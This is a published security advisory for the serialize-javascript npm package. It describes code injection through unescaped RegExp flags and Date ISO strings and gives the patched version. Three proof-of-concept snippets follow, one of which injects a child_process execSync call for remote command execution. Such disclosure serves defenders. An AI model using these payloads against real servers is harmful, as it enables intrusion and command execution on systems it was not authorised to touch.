GHSA-5c6j-r48x-rmvq

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    GHSA-5c6j-r48x-rmvq

    Published: 28 Feb 2026Last Modified: 10 Sept 2026

    Summary: Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

    Details: ### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

    Affected packages

    Package

    Name: serialize-javascript

    Purl: pkg:npm/serialize-javascript

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -7.0.3

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High